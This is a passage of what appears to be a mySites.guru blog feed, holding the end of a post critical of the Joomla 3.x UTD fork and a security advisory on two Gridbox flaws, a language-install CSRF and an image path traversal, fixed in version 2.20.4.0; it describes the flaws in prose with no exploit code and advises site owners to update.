&lt;div&gt;&lt;p&gt;Site owners deciding where to take a Joomla 3 site should understand what they are choosing.&lt;/p&gt;&lt;div&gt;&lt;p&gt;One company’s fork, maintained by one developer, built around that company’s own extension, that presents itself to your software as an official Joomla version the Joomla project did not release.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Joomla 6 or Joomla 3.x UTD?&lt;/h2&gt;
&lt;p&gt;For almost everyone, Joomla 6, and its &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;technical requirements&lt;/a&gt; are modest. It is the official release, its vulnerabilities go to a security team rather than one person, its updates are checksummed and signed, and it is where extension developers are building today. A Joomla 3 site moving to UTD still faces a migration later, just a later and possibly harder one, because the K2-based successor drops com_content.&lt;/p&gt;
&lt;p&gt;JoomlaWorks pitches UTD with the W3Techs figure that Joomla 3 runs on more than half of all Joomla sites. That number is right, even if the rest of the page it comes from is left out: &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla&quot;&gt;W3Techs&lt;/a&gt; puts Joomla 3 at 51.7% of Joomla sites on 12 October 2026, against 37.9% for Joomla 4, 5 and 6 combined. What it does not show is a market waiting for a fork. W3Techs counts sites that still identify as Joomla 3, and a site that has had no update since support ended in 2023 is mostly a site no one is looking after. Our own figures point the same way, and they come from the well-looked-after end of the market. Of the Joomla 3 sites connected to mySites.guru in August 2026, sites whose owners pay every month for monitoring, 68.2% had not even updated to 3.10.12, the final Joomla 3 release. If owners who are paying for monitoring did not take a free point release from the official project, the owners of unmonitored sites are not going to go looking for a Joomla 3 fork. Most of those sites will be rebuilt on something else, or switched off when the hosting stops supporting their PHP version. UTD sites would also count as Joomla 3 in those figures, because they still report themselves as Joomla! 3.x. And W3Techs can already see them. Its &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla/3&quot;&gt;Joomla 3 version breakdown&lt;/a&gt; on 12 October 2026 lists versions 3.11, 3.13, 3.14, 3.15 and 3.16, none of which the Joomla project ever released. Together they are a rounding error: 3.15 is 0.1% of Joomla 3 sites and the other four are each under 0.1%, against 59.0% still on 3.10.&lt;/p&gt;
&lt;p&gt;For a Joomla 3 site that cannot be migrated yet, there is a holding position that keeps it on real Joomla, and &lt;a href=&quot;https://joomla3security.com/options/&quot;&gt;the other options&lt;/a&gt; are laid out on our Joomla 3 hub. I should declare an interest, because this one is ours. The &lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3.10.999 project&lt;/a&gt; is a reference set of community security patches for stock Joomla 3.10.12, and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;the mySites.guru patch tool&lt;/a&gt; applies them with one toggle. The site still reports 3.10.12, there is no separate update server, switching it off puts the stock files back, and we describe it as a stopgap rather than a destination. &lt;a href=&quot;https://github.com/TLWebdesign/Joomla-3-EOL-Security-Fixes&quot;&gt;TLWebdesign&lt;/a&gt; packages the same patches as an installable extension. None of these will save a site from its extensions, so the extension inventory still matters more than the core.&lt;/p&gt;
&lt;p&gt;UTD’s PHP 8.5 work is the part I would give it real credit for. Hosts are removing PHP 7, and on some, such as Fasthosts, switching a site to PHP 8 to test it cannot be undone, so a Joomla 3 site that is not PHP 8 compatible simply stops. Solving that solves the &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;hosting deadline&lt;/a&gt;, which is real and urgent. It does not solve the security one, and the two should not be confused.&lt;/p&gt;
&lt;p&gt;I can see one group UTD is really for: sites built on K2 that never migrated to Joomla 4 because K2 never got there. That group is real, and some of it is large. The most popular sites W3Techs lists on Joomla 3 include two Greek news sites, &lt;a href=&quot;https://www.dnews.gr/&quot;&gt;dnews.gr&lt;/a&gt; and &lt;a href=&quot;https://www.cnn.gr/&quot;&gt;cnn.gr&lt;/a&gt;, and the dnews.gr homepage still loads its articles through K2, with images served from K2’s &lt;code&gt;/media/k2/items/cache/&lt;/code&gt; folder and K2’s &lt;code&gt;k2ItemsBlock&lt;/code&gt; module on the page. Busy news sites like these, with years of content in K2 and no K2 for Joomla 4, are the sites UTD is built around.&lt;/p&gt;
&lt;p&gt;JoomlaWorks publishes its own numbers for that audience, and they are the most telling figures in this post. &lt;a href=&quot;https://metrics.getk2.org/&quot;&gt;K2 Metrics&lt;/a&gt; is the anonymous telemetry that K2 2.7.0 and later sends home. On 12 October 2026 it showed 4,775 K2 sites active in the last 30 days, and 4,585 of them, 96.0%, on Joomla 3. Just 33 reported a UTD version number (3.11, 3.14, 3.15, 3.16 or 3.17). That is 0.69% of K2 sites, six months after launch, among the very sites UTD exists to serve. The same telemetry shows 92.7% of those K2 sites on a PHP version older than 8.2, which means no security support from the PHP project, and 12.4% still on PHP 5. For them it buys time on a familiar stack. That is a fair reason to look at it, as long as you go in knowing you are moving onto one developer’s fork, with no promise your other extensions will keep working.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;If security is why you are looking at UTD, that is the strongest reason not to use it.&lt;/p&gt;&lt;div&gt;&lt;p&gt;A Joomla 3 site on UTD gets security fixes from one developer, reviewed by no one, delivered as an unsigned zip that changes with every commit, with no private way to report a problem and no official upgrade route out. That is a less secure place for the site than the official Joomla it would have to migrate to anyway.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How mySites.guru helps with Joomla 3 sites&lt;/h2&gt;
&lt;p&gt;mySites.guru looks after portfolios of Joomla sites. Connect your Joomla 3 sites and you get the facts this post had to dig out by hand, for every site at once:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every site still on Joomla 3, found by the &lt;a href=&quot;https://mysites.guru/tools/joomla-configuration/joomla-3-end-of-life/&quot;&gt;Joomla 3 end of life check&lt;/a&gt;, with every published core vulnerability flagged against each site’s exact version.&lt;/li&gt;
&lt;li&gt;Every vulnerable extension, from the &lt;a href=&quot;https://mysites.guru/joomla-vulnerability-scanner/&quot;&gt;Joomla vulnerability scanner&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt;, which is where Joomla 3 sites are getting hacked.&lt;/li&gt;
&lt;li&gt;The community core patches in one click, with the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Joomla 3 patch tool&lt;/a&gt; applying the 3.10.999 fixes to stock 3.10.12 and reverting them if you need to. The site stays on real Joomla, with a version number every tool understands.&lt;/li&gt;
&lt;li&gt;The PHP version on every site, so you know which &lt;a href=&quot;https://mysites.guru/blog/php-supported-versions-amber-green/&quot;&gt;hosting deadline&lt;/a&gt; you are up against before your host decides for you.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;None of that replaces migrating. It tells you which sites to move first and keeps them safer while you do, and when you are ready, &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;moving to modern Joomla with mySites.guru&lt;/a&gt; explains how the connector side works. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;mySites.guru&lt;/a&gt; is GBP 19.99 a month for unlimited sites, with the Joomla 3 patch tool &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;included in every plan&lt;/a&gt;, or you can start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; of one site.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2023-08-17&lt;/strong&gt; Joomla 3 reaches end of life Free security patches for the Joomla 3 core stop, at any severity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2024-05-30&lt;/strong&gt; JoomlaWorks rules out K2 for Joomla 4 and 5 It calls Joomla 4 and 5 &quot;failed CMS releases&quot; and says it will work on a possible fork, starting with a rebrand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2025-02-17&lt;/strong&gt; The paid eLTS programme ends The last official route to a patched Joomla 3 core closes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-20&lt;/strong&gt; Joomla 3.x UTD 3.11 is published A hard fork of Joomla 3.10.20 eLTS, under the Joomla name, numbered as if it were the next Joomla release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-05-21&lt;/strong&gt; UTD 3.12 adds an access-control hole A change to the {loadmoduleid} tag drops its access checks, so any module can be shown to anyone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-03&lt;/strong&gt; UTD 3.16 adds the Little WAF Two filters, both for Regular Labs tags. Nothing for SP Page Builder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-10&lt;/strong&gt; UTD 3.17 fixes its own hole The {loadmoduleid} fix is counted among 22 security fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomlaworks/joomla-3.x&quot;&gt;joomlaworks/joomla-3.x on GitHub&lt;/a&gt; - the UTD source, commit history, changelog and update feed.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://j3xutd.joomlaworks.net/&quot;&gt;The Joomla 3.x UTD website&lt;/a&gt; - the &quot;secure, current &amp;amp; still yours&quot; pitch in JoomlaWorks&apos; own words.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlaworks.net/blog/item/314-k2-will-not-be-made-available-for-joomla-4-5-change-of-course&quot;&gt;K2 will not be made available for Joomla 4/5&lt;/a&gt; - JoomlaWorks&apos; May 2024 post announcing the fork.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tm.joomla.org/trademark-faq&quot;&gt;Joomla trademark FAQ&lt;/a&gt; - what Open Source Matters says about forks and the Joomla name.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;Joomla 3 Didn&apos;t Fail. Your Retainer Did.&lt;/a&gt; - our measured data on Joomla 3 sites, and every Joomla 3 rescue project compared.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;The Joomla 3.10.999 Project&lt;/a&gt; - the community core patches that keep a site on real Joomla 3.10.12.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla3security.com/vendors/joomlaworks/&quot;&gt;JoomlaWorks on the Joomla 3 vendor tracker&lt;/a&gt; - every dated JoomlaWorks statement on Joomla 3, with sources.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>security</category><category>end-of-life</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/what-is-joomla-3x-utd.png" length="0" type="image/png"/></item><item><title>Gridbox 2.20.4.0 Fixes a Language Install CSRF and an Image Path Check</title><link>https://mysites.guru/blog/gridbox-2-20-4-0-security-fixes/</link><guid isPermaLink="true">https://mysites.guru/blog/gridbox-2-20-4-0-security-fixes/</guid><description>Gridbox 2.20.4.0 fixes a CSRF flaw in language installation and tightens image preview path checks. Every Joomla site on 2.20.3.1 or older should update.</description><pubDate>Thu, 08 Oct 2026 08:33:10 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-4-0-new-features-and-security-hardening&quot;&gt;Balbooa released Gridbox 2.20.4.0&lt;/a&gt; on 8 October 2026 with two security fixes for the Joomla page builder. The bigger one is a Cross-Site Request Forgery (CSRF) flaw in the language installation process. The smaller one tightens the path check in the image preview so it only serves images from the configured media folder.&lt;/p&gt;
&lt;p&gt;The version most Gridbox sites run today, 2.20.3.1, is affected, and so is every build before it. Update to 2.20.4.0. The Joomla CNA published a CVE for each flaw later the same day: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102784/&quot;&gt;CVE-2026-102784&lt;/a&gt; for the CSRF, scored 8.7 High, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102783/&quot;&gt;CVE-2026-102783&lt;/a&gt; for the path check, scored 6.3 Medium. High matches our own call, because the CSRF flaw ends with software installed on the site, even though it needs a Super User to be tricked into it.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;8.7&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102784/&quot;&gt;CVE-2026-102784&lt;/a&gt;Cross-Site Request Forgery in language installation&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;A Super User who opens a crafted link while signed in installs a package the attacker chose, which puts the attacker&apos;s code on the site.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Needs a signed-in Super User&lt;/span&gt;&lt;span&gt;Installs software&lt;/span&gt;&lt;span&gt;All versions before 2.20.4.0&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102783/&quot;&gt;CVE-2026-102783&lt;/a&gt;Path traversal in the image preview&lt;/p&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An anonymous visitor can fetch an image from a folder next to the media folder whose name starts the same way, such as images-backup. Only Gridbox image file types are served.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Image files only&lt;/span&gt;&lt;span&gt;All versions before 2.20.4.0&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The language installation CSRF&lt;/h2&gt;
&lt;p&gt;Gridbox lets an administrator install extra interface languages from inside the component. Installing a language means installing a Joomla package, which is the same machinery that installs any extension, so the action is limited to Super Users.&lt;/p&gt;
&lt;p&gt;Cross-Site Request Forgery is an attack on the person rather than the server. The attacker cannot log in, so instead they get someone who already is to send a request on their behalf, usually by getting them to open a link or visit a page while their admin session is live. Joomla’s defence is a per-session token that every state-changing request must include. A request forged from another site does not have the token, so Joomla rejects it.&lt;/p&gt;
&lt;p&gt;Gridbox 2.20.2 added that token check across its admin controllers as part of fixing &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;the 23 vulnerabilities from our July audit&lt;/a&gt;. The language installation action had a route around that check. According to the CVE record, the shared token check only ran when the request was a POST, and the language install action accepted a GET, so a plain link reached it with no token at all. 2.20.4.0 closes that path, so the token check now covers the language install as well.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Why an admin-only flaw still rates High&lt;/p&gt;&lt;div&gt;&lt;p&gt;A Super User has to be signed in and has to open the attacker’s link, so this cannot be sprayed at a site the way an unauthenticated flaw can. But the action installs software. If it works, the attacker’s code runs on the site with the same access as any extension you installed yourself. Admins open links all day, in support tickets, contact form messages and emails, and one of them is all it takes.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The image preview path check&lt;/h2&gt;
&lt;p&gt;The second fix is narrower. Gridbox’s image preview serves an image from the site so the editor can show it, and it is meant to stay inside the media folder configured in Gridbox. The containment check in 2.20.2 to 2.20.3.1 was looser than intended, and in some folder layouts it accepted image paths outside that folder. 2.20.4.0 makes the comparison exact.&lt;/p&gt;
&lt;p&gt;The preview only serves Gridbox image file types, so &lt;code&gt;configuration.php&lt;/code&gt; and other PHP files were not reachable through it. The CVE record adds one detail: if the server cannot decode the image, the preview streams the file as it is, which is why the record treats it as a file read at all. In practice it needs a folder beside the media folder whose name starts the same way, such as &lt;code&gt;images-backup&lt;/code&gt;, with images in it you did not mean to publish. It tightens the containment added in July.&lt;/p&gt;
&lt;h2&gt;Which Gridbox versions are affected?&lt;/h2&gt;
&lt;p&gt;Both CVE records list every release from 1.0.0 to 2.20.3.1 as affected. We also compared the public 2.20.4.0 package with 2.20.3 and 2.20.2.2, and both of the changed areas are present from 2.20.2 onwards. Our newest rule flags 2.20.3.1 with both CVE numbers, and the existing rules for earlier ranges already flag every older build and point to 2.20.4.0 as the version to install.&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Gridbox version&lt;/th&gt;&lt;th&gt;Status&lt;/th&gt;&lt;th&gt;What to do&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;2.20.4.0&lt;/td&gt;&lt;td&gt;Fixed&lt;/td&gt;&lt;td&gt;Nothing&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.20.3.1&lt;/td&gt;&lt;td&gt;Affected by this release’s two fixes&lt;/td&gt;&lt;td&gt;Update to 2.20.4.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.20.2.3 to 2.20.3&lt;/td&gt;&lt;td&gt;Also exposed to the &lt;a href=&quot;https://mysites.guru/blog/gridbox-author-sql-injection/&quot;&gt;blog author SQL injection&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Update to 2.20.4.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Below 2.20.2&lt;/td&gt;&lt;td&gt;Exposed to the actively exploited July flaws&lt;/td&gt;&lt;td&gt;Update to 2.20.4.0 urgently and check for compromise&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Sites on the Joomla 3 line top out at Gridbox 2.17.0.2, which has no fix for any of this year’s flaws. For those sites the fix is moving to a supported Joomla.&lt;/p&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Gridbox to 2.20.4.0&lt;/strong&gt; on every Joomla site that runs it, through Joomla’s Update tab or the mySites.guru mass updater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version afterwards.&lt;/strong&gt; Open System, Manage, Extensions and check Gridbox reads 2.20.4.0.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for extensions you did not install.&lt;/strong&gt; If you are worried a Super User on one of your sites opened something they should not have, look at the extensions list for anything unexpected, and at administrator accounts you did not create.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you use Facebook login&lt;/strong&gt;, generate a new App ID and App Secret. Balbooa reworked the integration for Facebook’s API changes, so the old ones will not work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your image compression settings.&lt;/strong&gt; They have moved from Media Manager settings to Performance Tools, Images, and now apply to image uploads anywhere in Gridbox.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find administrator accounts you never created&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How do I find every Gridbox site I manage?&lt;/h2&gt;
&lt;p&gt;mySites.guru keeps a live inventory of the extensions on each connected Joomla and WordPress site. Search for Gridbox once and you get the sites running it, the version each is on and whether an update is waiting. Across the Joomla sites we monitor, several hundred run Gridbox, and the large majority were on 2.20.3.1 on the morning of the release.&lt;/p&gt;
&lt;p&gt;We have added 2.20.3.1 to our vulnerability database, so connected sites still on it are flagged automatically, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes 2.20.4.0 to all of them from one screen. That is part of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt;, not a separate purchase.&lt;/p&gt;
&lt;h2&gt;Four Gridbox security releases since July&lt;/h2&gt;
&lt;p&gt;2.20.1 fixed the &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;cookie authentication bypass&lt;/a&gt; in July. 2.20.2 fixed the 23 flaws from our audit at the end of that month. 2.20.3.1 fixed the blog author SQL injection three weeks ago. 2.20.4.0 is the fourth, and both of its fixes are follow-ups to protections that 2.20.2 introduced: the CSRF token check and the image path containment.&lt;/p&gt;
&lt;p&gt;That pattern is normal once a large codebase gets serious attention. The first round of fixes adds the right protections, and outside researchers then find the corners those protections missed. The sites that get hurt are the ones that stopped updating after the first round. If your Gridbox sites went to 2.20.3.1 three weeks ago, they need updating again today.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;This is not a mySites.guru finding. Balbooa credits Sergiy Tryzhychynskyi for reporting both issues, and David Jardin of the Joomla Security Strike Team for coordinating the disclosure. Sergiy also reported part of the &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-2-4-3-4-security-fixes/&quot;&gt;Balbooa Forms 2.4.3.4 fixes&lt;/a&gt; last month.&lt;/p&gt;
&lt;p&gt;Balbooa’s note gave no CVE, no score and no affected range. The Joomla CNA filled that in a few hours later with &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102784/&quot;&gt;CVE-2026-102784&lt;/a&gt; (CSRF, CVSS 4.0 8.7 High) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102783/&quot;&gt;CVE-2026-102783&lt;/a&gt; (path traversal, CVSS 4.0 6.3 Medium), both listing every release up to 2.20.3.1. We had set our rule from the code before the records existed, so connected sites were flagged that morning, and the CVE numbers were added to the rule once they were published.&lt;/p&gt;
&lt;p&gt;The CNA’s 8.7 matches our own call on the CSRF flaw: it needs a signed-in Super User to cooperate unknowingly, which keeps it below Critical, but success means attacker-chosen software installed on the site. The path traversal record is less consistent. Its score is 6.3 Medium, but its own description says the finding “is rated Low rather than presented as arbitrary file disclosure”. We think Low is closer to the real risk, because it needs an oddly named sibling folder of images to exist before there is anything to read. We quote the record’s score, because that is what scanners and other advisories will show you.&lt;/p&gt;
&lt;p&gt;If a site has already been hit, or you would rather someone else made sure, &lt;a href=&quot;https://fix.mysites.guru/now&quot;&gt;fix.mySites.guru&lt;/a&gt; patches the site, audits it for backdoors and hands it back secure for a single fixed fee, usually the same day.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; Gridbox 2.20.2 fixes 23 vulnerabilities from a mySites.guru audit Eleven CVEs, several already being exploited. 2.20.2 also added CSRF token checks across the admin controllers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-21&lt;/strong&gt; Gridbox 2.20.3.1 fixes an unauthenticated blog author SQL injection Reported by Studio Przy Lesie, identified by Cert.pl.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-08&lt;/strong&gt; Gridbox 2.20.4.0 fixes the language install CSRF and the image preview path check Reported by Sergiy Tryzhychynskyi, coordinated by the Joomla Security Strike Team.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-08&lt;/strong&gt; Joomla CNA publishes CVE-2026-102784 and CVE-2026-102783 8.7 High for the language install CSRF, 6.3 Medium for the image preview path traversal. Both records cover every release up to 2.20.3.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-08&lt;/strong&gt; mySites.guru flags every affected site and alerts customers Connected sites on 2.20.3.1 are flagged automatically, alongside the earlier Gridbox rules.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/blog/gridbox/gridbox-2-20-4-0-new-features-and-security-hardening&quot;&gt;Balbooa: Gridbox 2.20.4.0 New Features and Security Hardening&lt;/a&gt; - the vendor&apos;s own release note.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-author-sql-injection/&quot;&gt;Blind SQL Injection in Gridbox&apos;s Blog Author&lt;/a&gt; - the 2.20.3.1 fix three weeks earlier.&lt;/li&gt;
